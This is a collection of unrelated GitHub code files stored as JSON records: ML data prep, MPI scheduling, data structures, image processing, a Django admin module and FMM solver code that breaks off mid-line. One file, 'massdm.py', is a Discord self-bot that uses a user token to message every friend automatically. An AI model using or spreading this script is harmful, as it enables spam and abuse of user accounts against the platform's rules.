+{"seq_id":"22780303640","text":"# Rate Limit\n\nimport requests\n\n\n# À partir da décima requisição somos bloqueados de acessar o recurso\n# Código de status 429: Too Many Requests\nfor _ in range(15):\n    response = requests.get(\"https://www.cloudflare.com/rate-limit-test/\")\n    print(response.status_code)\n\n# Neste exemplo, após a décima requisição, o servidor começa a nos retornar\n# respostas com o código de status 429, “Too Many Requests”. Isto significa\n# que estamos utilizando uma taxa de solicitação maior que a suportada.\n# Ele permanecerá assim por algum tempo (1 minuto).\n","repo_name":"Marcio-Gabriel-Roque-Mendes/Trybe_exercise","sub_path":"Exercicios/4 - Ciencia da Computacao/bloco-33-raspagem-de-dados/dia-1-raspagem-de-dados/conteudo-2-alguns-problemas/rate_limit_1.py","file_name":"rate_limit_1.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"39800261818","text":"import copy\nimport gc\nimport math\nimport os\nimport random\nfrom functools import partial\nfrom pathlib import Path\nfrom random import choice\n\nimport PIL\nimport clearml\nimport cv2\nimport imageio\nimport imageio\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom PIL import Image\nfrom PIL import ImageFile, Image\nfrom diffusers import AutoencoderKL\nfrom einops import rearrange, repeat\nfrom einops_exts import check_shape, rearrange_many\nfrom rotary_embedding_torch import RotaryEmbedding\nfrom torch import nn, einsum\nfrom torch.cuda.amp import autocast, GradScaler\nfrom torch.optim import Adam\nfrom torch.utils import data\nfrom torchvision import transforms as T, utils\nfrom tqdm import tqdm\nimport lovely_tensors as lt\n\nvae = AutoencoderKL.from_pretrained('stabilityai/stable-diffusion-2', subfolder='vae', torch_dtype=torch.float16).to(\n    'cuda:0')\n\nnframes = 7 + 1\nvideo_frames = 48\nroot = '/dsk1/danil/3d/nerf/data/tumblr'\nww, hh = 512, 256\norig_frame_ratio = ww / hh\nstep = 64\nbatch_size = 24\n\nfiles = [os.path.join(root, file) for file in os.listdir(root) if os.path.splitext(file)[1] in ('.mp4', '.gif')]\nfor file in tqdm(files):\n\n    file_parts = os.path.splitext(os.path.basename(file))\n    name = file_parts[0] + '.pt'\n    ext = file_parts[1]\n    path = os.path.join(root, name)\n\n    if os.path.exists(path):\n        continue\n\n    try:\n\n        frames = []\n        if ext == '.mp4':\n            # load video\n            video = cv2.VideoCapture(file)\n            if not video.isOpened():\n                video.release()\n                continue\n\n            video_fps = int(video.get(cv2.CAP_PROP_FPS))\n            total_frames = int(video.get(cv2.CAP_PROP_FRAME_COUNT))\n            frame_step = int(step / 1000 * video_fps)\n            frames_used = frame_step * nframes\n            if frames_used > total_frames:\n                video.release()\n                continue\n\n            # take frames\n            frame_id = 0\n            while len(frames) < min(video_frames, total_frames // frame_step):\n                video.set(cv2.CAP_PROP_POS_FRAMES, frame_id)\n                frame_id += frame_step\n\n                ret, frame = video.read()\n                # try another video on fail\n                if not ret:\n                    break\n\n                frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n                frames.append(frame)\n            video.release()\n        elif ext == '.gif':\n            gif = Image.open(file)\n            fps = int(1000 / gif.info['duration'])\n            orig_frames = [frame.convert('RGB') for frame in PIL.ImageSequence.Iterator(gif)]\n            frame_step = max(int(step / 1000 * fps), 1)\n            frames_used = frame_step * nframes\n            if frames_used > len(orig_frames):\n                continue\n            frame_id = 0\n            while len(frames) < min(video_frames, len(orig_frames) // frame_step):\n                frames.append(np.array(orig_frames[frame_id]))\n                frame_id += frame_step\n\n        if len(frames) < nframes:\n            continue\n\n        processed_frames = []\n        for frame in frames:\n\n            h, w = frame.shape[:2]\n            frame_ratio = w / h\n            if frame_ratio > orig_frame_ratio:\n                # width is bigger so let's crop it\n                true_w = int(h * orig_frame_ratio)\n                start_w = int((w - true_w) / 2)\n                frame = frame[:, start_w: start_w + true_w]\n            else:\n                # height is bigger\n                true_h = int(w / orig_frame_ratio)\n                start_h = int((h - true_h) / 2)\n                frame = frame[start_h: start_h + true_h]\n            frame = cv2.resize(frame, (ww, hh), interpolation=cv2.INTER_AREA)\n            frame = frame.astype(np.float32) / 127.5 - 1.0\n            processed_frames.append(np.moveaxis(frame, -1, 0))\n\n        frames = torch.tensor(np.stack(processed_frames, axis=0), dtype=torch.float16)\n\n        latents = []\n        for batch in torch.split(frames, batch_size, dim=0):\n            batch = batch.to('cuda:0')\n            with torch.no_grad():\n                latent = vae.encode(batch).latent_dist.mode()\n            latents.append(latent.cpu())\n        latents = torch.cat(latents, dim=0)\n        torch.save(latents, path)\n\n    except Exception as e:\n        print(e)\n        continue\n","repo_name":"sthfaceless/explore","sub_path":"scripts/video/latent_converter.py","file_name":"latent_converter.py","file_ext":"py","file_size_in_byte":4329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"31133165207","text":"import sys\n\n\nclass GoalLabeller:\n    def __init__(self):\n        self.next_label = 1\n        self.next_comm = 1\n        self.op_dict = {}\n        self.comm_dict = {}\n\n    def GetLabel(self, op):\n        if op in self.op_dict:\n            pass\n        else:\n            self.op_dict[op] = self.next_label\n            self.next_label += 1\n        return self.op_dict[op]\n\n    def GetCommID(self, comm):\n        if comm in self.comm_dict:\n            pass\n        else:\n            self.comm_dict[comm] = self.next_comm\n            self.next_comm += 1\n        return self.comm_dict[comm]\n\n    def MakeTag(self, tag, comm):\n        \"\"\"Combine the user tag and the comm tag portion\"\"\"\n        return tag * 1000 + comm\n\n\nclass GoalOp:\n    def __init__(self):\n        self.depends_on = []\n\n    def requires(self, required):\n        # TODO check that self and required translate to the same rank in comm_world - we don't have the rank here :(\n        self.depends_on.append(required)\n\n\nclass GoalSend(GoalOp):\n    def __init__(self, dst, tag, size):\n        super().__init__()\n        self.dst = dst\n        self.tag = tag\n        self.size = size\n\n    def write_goal(self, labeller, fh, comm, basecomm, format=\"goal\"):\n        if format == \"goal\":\n            fh.write(\n                \"l{label}: send {size}b to {dst} tag {tag}\\n\".format(\n                    label=labeller.GetLabel(self),\n                    size=str(self.size),\n                    dst=str(comm.TranslateRank(self.dst, basecomm)),\n                    tag=str(labeller.MakeTag(self.tag, labeller.GetCommID(comm))),\n                )\n            )\n        elif format == \"graphviz\":\n            fh.write(\n                \"\\\"l{label}\\\" [label=\\\"send {size}b to {dst} tag {tag}\\\"];\\n\".format(\n                    label=labeller.GetLabel(self),\n                    size=str(self.size),\n                    dst=str(comm.TranslateRank(self.dst, basecomm)),\n                    tag=str(labeller.MakeTag(self.tag, labeller.GetCommID(comm))),\n                )\n            )\n        else:\n            raise NotImplementedError(\"Requested output format \"+str(format)+\" not implemented!\")\n        \n\n\nclass GoalRecv(GoalOp):\n    def __init__(self, src, tag, size):\n        super().__init__()\n        self.src = src\n        self.tag = tag\n        self.size = size\n\n    def write_goal(self, labeller, fh, comm, basecomm, format=\"goal\"):\n        if format == \"goal\":\n            fh.write(\n                \"l{label}: recv {size}b from {src} tag {tag}\\n\".format(\n                    label=labeller.GetLabel(self),\n                    size=str(self.size),\n                    src=str(comm.TranslateRank(self.src, basecomm)),\n                    tag=str(labeller.MakeTag(self.tag, labeller.GetCommID(comm))),\n                )\n            )\n        elif format == \"graphviz\":\n            fh.write(\n                \"\\\"l{label}\\\" [label=\\\"recv {size}b from {src} tag {tag}\\\"];\\n\".format(\n                    label=labeller.GetLabel(self),\n                    size=str(self.size),\n                    src=str(comm.TranslateRank(self.src, basecomm)),\n                    tag=str(labeller.MakeTag(self.tag, labeller.GetCommID(comm))),\n                )\n            )\n        else:\n            raise NotImplementedError(\"Requested output format \"+str(format)+\" not implemented!\")\n\n\nclass GoalCalc(GoalOp):\n    def __init__(self, size):\n        super().__init__()\n        self.size = size\n\n    def write_goal(self, labeller, fh, comm, basecomm, format=\"goal\"):\n        if format == \"goal\":\n            fh.write(\n                \"l{label}: calc {size}\\n\".format(\n                    label=labeller.GetLabel(self), size=str(self.size))\n            )\n        elif format == \"graphviz\":\n            fh.write(\n                \"\\\"l{label}\\\" [label=\\\"calc {size}\\\"]\\n\".format(\n                    label=labeller.GetLabel(self), size=str(self.size)\n                )\n            )\n        else:\n            raise NotImplementedError(\"Requested output format \"+str(format)+\" not implemented!\")\n\nclass GoalRank:\n    def __init__(self, comm, rank):\n        self.comm = comm\n        self.rank = rank\n        self.base_rank = None\n        self.ops = []\n\n    def Send(self, dst, tag, size):\n        if dst > self.comm.CommSize():\n            raise ValueError(str(dst) + \" is larger than comm size!\")\n        op = GoalSend(dst=dst, tag=tag, size=size)\n        self.ops.append(op)\n        return op\n\n    def Recv(self, src, tag, size):\n        if src > self.comm.CommSize():\n            raise ValueError(str(src) + \" is larger than comm size!\")\n        op = GoalRecv(src=src, tag=tag, size=size)\n        self.ops.append(op)\n        return op\n\n    def Calc(self, size):\n        op = GoalCalc(size=size)\n        self.ops.append(op)\n        return op\n\n    def Merge(self, mrank):\n        self.ops += mrank.ops\n\n    def Append(self, arank, dependOn=None, allOpsDepend=False):\n        \"\"\" Append arank to self. If dependOn is None, all ops in self need to finish before we start executing aranks ops. If dependOn is given we only depend on that. \n            By default (allOpsDepend) only independent ops in arank depend on self, however if allOpsDepend=True all ops do. \"\"\"\n        if dependOn is None:\n            c = self.Calc(0)\n            for l in self.LastOps():\n                if l == c:\n                    pass\n                else:\n                    c.requires(l)\n        else:\n            c = dependOn\n        self.ops += arank.ops\n        depops = arank.IndepOps()\n        if allOpsDepend:\n            depops = arank.ops\n        for i in depops:\n            i.requires(c) \n\n    def IndepOps(self):\n        res = [x for x in self.ops if (len(x.depends_on) == 0)]\n        return res\n\n    def LastOps(self):\n        rem = []\n        for x in self.ops:\n            for d in x.depends_on:\n                rem.append(d)\n        s = set(rem)\n        res = [x for x in self.ops if x not in s]\n        return res\n\n\n    def write_goal(self, labeller, fh, rankid=True, basecomm=None, format=\"goal\"):\n        if basecomm is None:\n            basecomm = (\n                self.comm\n            )  # stupid python evals default args at method definition, not call time :(\n        if rankid:\n            if format == \"goal\":\n                fh.write(\"rank \" + str(self.rank) + \" {\\n\")\n            elif format == \"graphviz\":\n                fh.write(\"subgraph cluster_\" + str(self.rank) + \" {\\n\")\n                fh.write(\"style=filled; color=lightgrey; node [style=filled,color=white]; label=\\\"rank \"+str(self.rank)+\"\\\";\")\n        for op in self.ops:\n            op.write_goal(labeller, fh, self.comm, basecomm, format=format)\n        for op in self.ops:\n            for req in op.depends_on:\n                if format == \"goal\":\n                    fh.write(\n                        \"l{label1} requires l{label2}\\n\".format(\n                            label1=labeller.GetLabel(op), label2=labeller.GetLabel(req)\n                        )\n                    )\n                if format == \"graphviz\":\n                    # we \"invert\" dependencies in grphviz format, i.e, a->b means a is executed before b.\n                    # Where in goal it would be \"b requires a\" - but this would make graphs look upside down. \n                    fh.write(\n                        \"l{label2} -> l{label1}\\n\".format(\n                            label1=labeller.GetLabel(op), label2=labeller.GetLabel(req)\n                        )\n                    )\n        for sc in self.comm.subcomms:\n            sc.write_goal_subcomm(labeller, fh, self.rank, basecomm, format=format)\n        if rankid:\n            fh.write(\"}\\n\\n\")\n\n\nclass GoalComm:\n    def __init__(self, comm_size):\n        self.base_comm = self\n        self.comm_size = comm_size\n        self.subcomms = []\n        self.ranks = [GoalRank(comm=self, rank=rank) for rank in range(comm_size)]\n\n    def __getitem__(self, index):\n        return self.ranks[index]\n\n    def Append(self, comm):\n        \"\"\"Append comm to self, such that when all ops in self are finished, those in comm can start.\"\"\"\n        if comm.CommSize() > self.CommSize():\n            raise ValueError(\"Cannot append a larger comm to a smaller one!\")\n        if len(comm.subcomms) > 0:\n            raise ValueError(\"Cannot append a comm with subcomms, flatten first?\")\n        for idx, rank in enumerate(self.ranks):\n            rank.Append(comm[idx])\n\n    def Merge(self, comm):\n        \"\"\"Merge comm into self, such that the ops in both run in parallel.\"\"\"\n        if comm.CommSize() > self.CommSize():\n            raise \"Cannot merge a larger comm to a smaller one!\"\n        if len(comm.subcomms) > 0:\n            raise ValueError(\"Cannot append a comm with subcomms, flatten first?\")\n        for idx, rank in enumerate(self.ranks):\n            rank.Merge(comm[idx])\n\n    def Send(self, src, dst, tag, size):\n        return self[src].Send(dst, tag, size)\n\n    def Recv(self, dst, src, tag, size):\n        return self[dst].Recv(src, tag, size)\n\n    def Calc(self, host, size):\n        return self[host].Calc(size)\n\n    def CommSize(self):\n        return self.comm_size\n\n    def CommSplit(self, color, key):\n        if len(list(color)) < self.comm_size or len(list(key)) < self.comm_size:\n            raise ValueError(\n                \"The length of color and key array must match the communicator size.\"\n            )\n        newcomms = []\n        order = [\n            (oldrank, color[oldrank], key[oldrank])\n            for oldrank in range(0, self.comm_size)\n        ]\n        color_buckets = {}\n        for o in order:\n            if o[1] in color_buckets:\n                color_buckets[o[1]].append(o)\n            else:\n                color_buckets[o[1]] = [o]\n        for c in color_buckets.keys():\n            c_list = sorted(\n                color_buckets[c], key=lambda x: x[2]\n            )  # sort by key within color\n            nc = GoalComm(len(c_list))\n            nc.base_comm = self\n            for idx, r in enumerate(nc):\n                r.base_rank = c_list[idx][\n                    0\n                ]  # store the rank the new rank had in the comm it was splitted from\n            newcomms.append(nc)\n        self.subcomms += newcomms\n        return newcomms\n\n    def write_goal(self, labeller=None, fh=sys.stdout, format=\"goal\"):\n        if format == \"goal\":\n            fh.write(\"num_ranks \" + str(len(self.ranks)) + \"\\n\\n\")\n        elif format == \"graphviz\":\n            fh.write(\"digraph G {\\n\")\n        if labeller is None:\n            labeller = GoalLabeller()\n        for r in self.ranks:\n            r.write_goal(labeller, fh, rankid=True, basecomm=self, format=format)\n        if format == \"graphviz\":\n            fh.write(\"}\\n\")\n    \n\n    def write_goal_subcomm(self, labeller, fh, rank, basecomm, format=\"goal\"):\n        \"\"\"if this comm has a rank with base_rank=rank, print its goal ops without enclosing brackets\"\"\"\n        for r in self.ranks:\n            if r.base_rank == rank:\n                r.write_goal(labeller, fh, rankid=False, basecomm=basecomm, format=format)\n\n    def TranslateRank(self, rank, basecomm):\n        \"\"\"Find out the rank id of the given rank (in self) in basecomm\"\"\"\n        if self == basecomm:\n            return rank\n        if rank == None:\n            raise ValueError(\"Attempt to translate a non-existing rank!\")\n        return self.base_comm.TranslateRank(self.ranks[rank].base_rank, basecomm)\n\n\nif __name__ == \"__main__\":\n    comms = [ GoalComm(4), GoalComm(4) ]\n    for c in comms:\n        for i in range(1, c.CommSize()):\n            c[0].Send(dst=i, tag=42, size=23)\n        for i in range(1, c.CommSize()):\n            c[i].Recv(src=0, tag=42, size=23)\n        c.write_goal()\n    comms[0].Append(comms[1])\n    comms[0].write_goal()\n","repo_name":"spcl/LogGOPSim","sub_path":"src/Schedgen2/goal.py","file_name":"goal.py","file_ext":"py","file_size_in_byte":11744,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"}
+{"seq_id":"74861754347","text":"'''\nhttps://practice.geeksforgeeks.org/problems/serialize-and-deserialize-a-binary-tree/1\nhttps://leetcode.com/problems/serialize-and-deserialize-binary-tree/\n'''\n\n\n#Function to serialize a tree and return a list containing nodes of tree.\n\n#We traverse the tree in a preorder fashion and append node values in A in that order.\ndef serialize(root, A):\n  #For a None node,we are appending -1 in the list.So,-1 in A represents a None node in the tree\n    if root == None:\n        A.append(-1)\n        return \n    A.append(root.data)\n    serialize(root.left,A)\n    serialize(root.right,A)\n    return A\n\n#Function to deserialize a list and construct the tree.   \ndef deSerialize(A):\n #AN Iterable object is created which gives us the next element everytime we call next() method.\n    iterval = iter(A)\n#Doit() function takes one element at a time from next(iterval).Makes a node out of it and links left and right node to this node by calling the \n#function again on its left and right child.Also returns the node after all the linking is done.\n    def doit():\n        val = next(iterval)\n      #Base case is when we get -1.This represents a None node.Therefore no linking is required and straightaway return None\n        if val==-1:\n            return None\n        node = Node(val)\n        node.left = doit()\n        node.right = doit()\n        \n        return node\n    \n    root = doit()\n    return root\n","repo_name":"DIVYANSHU-CHAUDHARI/DSA-Library","sub_path":"Trees/Serialize and DeSerialize in a BT.py","file_name":"Serialize and DeSerialize in a BT.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"15316890473","text":"from common import RegCommon\n\ncols_tests = [\n    '.(LN|K|D)*',\n    '([MBERS]*)\\\\1',\n    '(ENG|INE|E|R)*',\n    '[LINKED]*IN'\n]\n\ncol_regex = []\n\n\ndef find_matching_cols():\n    for word in RegCommon.permutations():\n        for idx, col_test in enumerate(col_regex):\n            if col_test.match(word):\n                try:\n                    RegCommon.col_matches[idx].append(word)\n                except IndexError:\n                    RegCommon.col_matches.append([])\n\n\ndef col_main():\n    global col_regex\n    col_regex = RegCommon.compile_regex(cols_tests)\n    find_matching_cols()\n\n\nif __name__ == \"__main__\":\n    col_main()\n","repo_name":"davidlathrop/workatlinkedinpuzzle","sub_path":"regex_test/gen_cols.py","file_name":"gen_cols.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"12528116459","text":"def add_pet():\n    petList.append([input(\"Enter pet name: \"),int(input(\"Enter pet age: \")),input(\"Enter pet specie: \"),input(\"Enter pet breed: \"),input(\"Enter pet gender: \"),int(input(\"Enter pet price: \"))])\n\ndef find_pet(name):\n    list_count = 0\n    found = []\n\n    if name.isdigit() is True:\n        name = int(name)\n        if name > len(petList)-1:\n              found.append(['Index out of Range!'])\n        else:\n            found.append(petList[name])\n            return found\n    else:\n        for x in petList:\n            if name in x:\n                found.append(petList[list_count])\n            list_count += 1\n\n    if not found:\n            found.append(['Not Found!'])\n    return found\n        #petList[find_pet]\n\ndef get_index(i):\n    list_count = 0\n    for x in petList:\n        if i in x:\n           return list_count\n        list_count += 1\n        #petList[find_pet]\n\ndef insert_pet():\n    res = ''\n    name = input(\"Enter name of pet to move: \")\n\n    for x in petList:\n        if name in x:\n            res += name\n    if res == '':\n        print('Name does not exist!')\n    else:\n        x=get_index(name)\n        index = int(input(\"Enter position: \"))\n        petList.insert(index, petList[x])\n        if index == 0:\n            petList.pop(x+1)\n        else:\n            petList.pop(x)\n\npetList = [['bogart',9,'dog','chowchow','m',2000],['art',2,'cat','siopao','f',250],['bob',5,'dog','askal','m',2500],['don',1,'rat','siomai','f',500]]\n\nchoice = ''\nwhile choice != 't':\n    choice = input(\"[A]dd - Allow user to add pet name in a list.\\n\"\n                   \"[I]nsert - Insert pet’s name to a specific position of a list.\\n\"\n                   \"[S]earch - Display found pet’s name after searching from a list. {Search by index and by value}\\n\"\n                   \"[E]dit - Modify pet’s name to an existing element from a list. {Edit by index and by value}\\n\"\n                   \"[V]iew - View all data in a list. Also, do the following:\\n\"\n                   \"[D]elete - Erase pet’s name from a list.\\n\"\n                   \"[C]ount - Display the total size of n list.\\n\"\n                   \"[T]erminate - Terminate the entire program.\\n\\n>>\").lower()\n    print('\\n')\n    if choice == 'a':\n        add_pet()\n        print('\\n\\n')\n    # if choice == 'i':\n    #     insert_pet()\n    #     print('\\n\\n')\n    # if choice == 's':\n    #     find = input('Search: ')\n    #     # print('\\n'.join(map(str,find_pet(find))))\n    #     display(find_pet(find))\n    #     print('\\n\\n')\n    # if choice == 'e':\n    #     edit_pet()\n    #     print('\\n\\n')\n    # if choice == 'v':\n    #     display(petList)\n    #     menu = ''\n    #     while menu!= 'e':\n    #         menu = input('\\n[1]View by specie'\n    #                 '\\n[2]View by breed'\n    #                 '\\n[3]View by gender'\n    #                 '\\n[4]Expensive Pet'\n    #                 '\\n[5]Eldest Pet'\n    #                 '\\n[E]xit'\n    #                 '\\n>>').lower()\n    #         if menu == '1':\n    #             display(sorted(petList,key=itemgetter(2)))\n    #         if menu == '2':\n    #             display(sorted(petList,key=itemgetter(3)))\n    #         if menu == '3':\n    #             display(sorted(petList,key=itemgetter(4)))\n    #         if menu == '4':\n    #             display(reversed(sorted(petList,key=itemgetter(5))))\n    #         if menu == '5':\n    #             display(reversed(sorted(petList,key=itemgetter(1))))\n    #     print('\\n\\n')\n    # if choice == 'd':\n    #     remove_pet()\n    #     print('\\n\\n')\n    # if choice == 'c':\n    #     print(f'There are {len(petList)} animals.')\n    # print('\\n\\n')\n    print(petList)","repo_name":"ExtraRixe/Prometheus","sub_path":"Python/IT5 Activties/Act4.2(Pet Management)new.py","file_name":"Act4.2(Pet Management)new.py","file_ext":"py","file_size_in_byte":3649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"27836718160","text":"import numpy\nimport cv2\nimport matplotlib.pyplot as plt\n\nimg=cv2.imread('pout-dark.jpg',0)\n\nhist=cv2.calcHist([img],[0],None,[256],[0,256])\nhistn=hist/hist.sum()\nhistn_cumulative=histn.cumsum()\nhist_final_float=histn_cumulative*255\nhist_final=hist_final_float.round()\n\nimg1=hist_final[img]\nimg1=img1.astype('uint8')\n\nhist1=cv2.calcHist([img1],[0],None,[256],[0,256])\n\nplt.plot(hist1)\nplt.plot(hist)\nplt.show()\n\ncv2.imshow('equalized image',img1)\ncv2.imshow('original image',img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n","repo_name":"sreecharan-31/DIP","sub_path":"histeq.py","file_name":"histeq.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"16306030377","text":"import discord\n\nsaint = discord.Client()\n\ntoken = \"your token here\" \n\nmessage = \"your message here\" \n\n@saint.event\nasync def on_connect():\n  for user in saint.user.friends:\n    try:\n      await user.send(message)\n      print(f\"messaged: {user.name}\")\n    except:\n       print(f\"couldnt message {user.name}\")\n\n\nsaint.run(token,bot=False)\n","repo_name":"exposes/Mass-Dm","sub_path":"massdm.py","file_name":"massdm.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"71264941227","text":"from __future__ import unicode_literals\n\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom shoop.admin.base import AdminModule, MenuEntry\nfrom shoop.admin.utils.urls import derive_model_url, get_edit_and_list_urls\nfrom shoop.core.models import ProductType\n\n\nclass ProductTypeModule(AdminModule):\n    name = _(\"Product Types\")\n    breadcrumbs_menu_entry = MenuEntry(name, url=\"shoop_admin:product-type.list\")\n\n    def get_urls(self):\n        return get_edit_and_list_urls(\n            url_prefix=\"^product-types\",\n            view_template=\"shoop.admin.modules.product_types.views.ProductType%sView\",\n            name_template=\"product-type.%s\"\n        )\n\n    def get_menu_entries(self, request):\n        category = _(\"Products\")\n        return [\n            MenuEntry(\n                text=_(\"Product types\"),\n                icon=\"fa fa-asterisk\",\n                url=\"shoop_admin:product-type.list\",\n                category=category\n            ),\n        ]\n\n    def get_model_url(self, object, kind):\n        return derive_model_url(ProductType, \"shoop_admin:product-type\", object, kind)\n","repo_name":"if413019/ShoopDevelopment","sub_path":"shoop/admin/modules/product_types/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"41618747551","text":"import sys \nsys.path.append('tree')\nfrom FMMutils import *\nimport pycuda.autoinit\nimport pycuda.driver as cuda\nimport time\n\n\ndef getWeights(K):\n\n    w = zeros(K)\n    if K==1:\n        w[0] = 1\n    if K==3:\n        w[0] = 1/3.\n        w[1] = 1/3.\n        w[2] = 1/3.\n    if K==4:\n        w[0] = -27./48\n        w[1] =  25./48\n        w[2] =  25./48\n        w[3] =  25./48\n    if K==7:\n        w[0] = 0.225\n        w[1] = 0.125939180544827\n        w[2] = 0.125939180544827\n        w[3] = 0.125939180544827\n        w[4] = 0.132394152788506\n        w[5] = 0.132394152788506\n        w[6] = 0.132394152788506\n\n    return w\n\ndef project(XK, XV, LorY, surfSrc, surfTar, K_diag, V_diag, IorE,\n            self, param, ind0, timing, kernel):\n\n    tic = cuda.Event()\n    toc = cuda.Event()\n\n    REAL = param.REAL\n    Ns = len(surfSrc.triangle)\n    Nt = len(surfTar.triangle)\n    L = sqrt(2*surfSrc.Area) # Representative length\n\n    tic.record()\n    K = param.K\n    w    = getWeights(K)\n    X_V  = zeros(Ns*K)\n    X_Kx = zeros(Ns*K)\n    X_Ky = zeros(Ns*K)\n    X_Kz = zeros(Ns*K)\n    X_Kc = zeros(Ns*K)\n    X_Vc = zeros(Ns*K)\n\n    NsK = arange(Ns*K)\n    X_V[:]  =  XV[NsK/K]*w[NsK%K]*surfSrc.Area[NsK/K]\n    X_Kx[:] = XK[NsK/K]*w[NsK%K]*surfSrc.Area[NsK/K]*surfSrc.normal[NsK/K,0]\n    X_Ky[:] = XK[NsK/K]*w[NsK%K]*surfSrc.Area[NsK/K]*surfSrc.normal[NsK/K,1]\n    X_Kz[:] = XK[NsK/K]*w[NsK%K]*surfSrc.Area[NsK/K]*surfSrc.normal[NsK/K,2]\n    X_Kc[:] = XK[NsK/K]\n    X_Vc[:] = XV[NsK/K]\n\n    toc.record()\n    toc.synchronize()\n    timing.time_mass += tic.time_till(toc)*1e-3\n\n    tic.record()\n    C = 0\n    getMultipole(surfSrc.tree, C, surfSrc.xj, surfSrc.yj, surfSrc.zj, \n                    X_V, X_Kx, X_Ky, X_Kz, ind0, param.P, param.NCRIT)\n    toc.record()\n    toc.synchronize()\n    timing.time_P2M += tic.time_till(toc)*1e-3\n\n\n    tic.record()\n    for C in reversed(range(1,len(surfSrc.tree))):\n        PC = surfSrc.tree[C].parent\n        upwardSweep(surfSrc.tree, C, PC, param.P, ind0.II, ind0.JJ, ind0.KK, ind0.index, ind0.combII, ind0.combJJ, \n                    ind0.combKK, ind0.IImii, ind0.JJmjj, ind0.KKmkk, ind0.index_small, ind0.index_ptr)\n    toc.record()\n    toc.synchronize()\n    timing.time_M2M += tic.time_till(toc)*1e-3\n\n    tic.record()\n    X_V = X_V[surfSrc.sortSource]\n    X_Kx = X_Kx[surfSrc.sortSource]\n    X_Ky = X_Ky[surfSrc.sortSource]\n    X_Kz = X_Kz[surfSrc.sortSource]\n    X_Kc = X_Kc[surfSrc.sortSource]\n    X_Vc = X_Vc[surfSrc.sortSource]\n    toc.record()\n    toc.synchronize()\n    timing.time_sort += tic.time_till(toc)*1e-3\n\n    param.Nround = len(surfTar.twig)*param.NCRIT\n    K_aux  = zeros(param.Nround)\n    V_aux  = zeros(param.Nround)\n    AI_int = 0\n\n    ### CPU code\n    if param.GPU==0:\n        K_aux, V_aux = M2P_sort(surfSrc, surfTar, K_aux, V_aux, self, \n                                ind0.index_large, param, LorY, timing)\n\n        K_aux, V_aux = P2P_sort(surfSrc, surfTar, X_V, X_Kx, X_Ky, X_Kz, X_Kc, X_Vc, \n                                K_aux, V_aux, self, LorY, K_diag, V_diag, IorE, L, w, param, timing)\n\n    ### GPU code\n    elif param.GPU==1:\n        K_gpu = cuda.to_device(K_aux.astype(REAL))\n        V_gpu = cuda.to_device(V_aux.astype(REAL))\n\n        if surfTar.offsetMlt[self,len(surfTar.twig)]>0:\n            K_gpu, V_gpu = M2P_gpu(surfSrc, surfTar, K_gpu, V_gpu, self, \n                                    ind0, param, LorY, timing, kernel)\n\n        K_gpu, V_gpu = P2P_gpu(surfSrc, surfTar, X_V, X_Kx, X_Ky, X_Kz, X_Kc, X_Vc, \n                                K_gpu, V_gpu, self, LorY, K_diag, V_diag, IorE, L, w, param, timing, kernel)\n\n        tic.record()\n        K_aux = cuda.from_device(K_gpu, len(K_aux), dtype=REAL)\n        V_aux = cuda.from_device(V_gpu, len(V_aux), dtype=REAL)\n        toc.record()\n        toc.synchronize()\n        timing.time_trans += tic.time_till(toc)*1e-3\n\n    tic.record()\n    K_lyr = K_aux[surfTar.unsort]\n    V_lyr = V_aux[surfTar.unsort]\n    toc.record()\n    toc.synchronize()\n    timing.time_sort += tic.time_till(toc)*1e-3\n\n    return K_lyr, V_lyr \n\n\ndef get_phir (XK, XV, surface, xq, Cells, par_reac, ind_reac):\n\n    REAL = par_reac.REAL\n    N = len(XK)\n    MV = zeros(len(XK))\n    L = sqrt(2*surface.Area) # Representative length\n    AI_int = 0\n\n    # Setup vector\n    K = par_reac.K\n    tic = time.time()\n    w    = getWeights(K)\n    X_V = zeros(N*K)\n    X_Kx = zeros(N*K)\n    X_Ky = zeros(N*K)\n    X_Kz = zeros(N*K)\n    X_Kc = zeros(N*K)\n    X_Vc = zeros(N*K)\n\n    for i in range(N*K):\n        X_V[i]   = XV[i/K]*w[i%K]*surface.Area[i/K]\n        X_Kx[i]  = XK[i/K]*w[i%K]*surface.Area[i/K]*surface.normal[i/K,0]\n        X_Ky[i]  = XK[i/K]*w[i%K]*surface.Area[i/K]*surface.normal[i/K,1]\n        X_Kz[i]  = XK[i/K]*w[i%K]*surface.Area[i/K]*surface.normal[i/K,2]\n        X_Kc[i]  = XK[i/K]\n        X_Vc[i]  = XV[i/K]\n    \n    toc = time.time()\n    time_set = toc - tic\n\n    # P2M\n    tic = time.time()\n    C = 0\n    getMultipole(Cells, C, surface.xj, surface.yj, surface.zj, \n                X_V, X_Kx, X_Ky, X_Kz, ind_reac, par_reac.P, par_reac.NCRIT)\n    toc = time.time()\n    time_P2M = toc - tic\n\n    # M2M\n    tic = time.time()\n    for C in reversed(range(1,len(Cells))):\n        PC = Cells[C].parent\n        upwardSweep(Cells, C, PC, par_reac.P, ind_reac.II, ind_reac.JJ, ind_reac.KK, ind_reac.index, \n                    ind_reac.combII, ind_reac.combJJ, ind_reac.combKK, ind_reac.IImii, ind_reac.JJmjj, \n                    ind_reac.KKmkk, ind_reac.index_small, ind_reac.index_ptr)\n    toc = time.time()\n    time_M2M = 